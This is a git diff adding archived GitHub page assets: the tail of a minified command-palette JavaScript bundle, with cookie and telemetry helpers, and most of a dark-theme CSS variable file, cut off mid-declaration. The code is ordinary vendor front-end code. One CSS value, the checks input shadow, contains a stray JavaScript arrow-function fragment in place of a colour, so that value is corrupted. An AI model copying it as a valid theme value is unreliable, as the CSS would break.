rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: 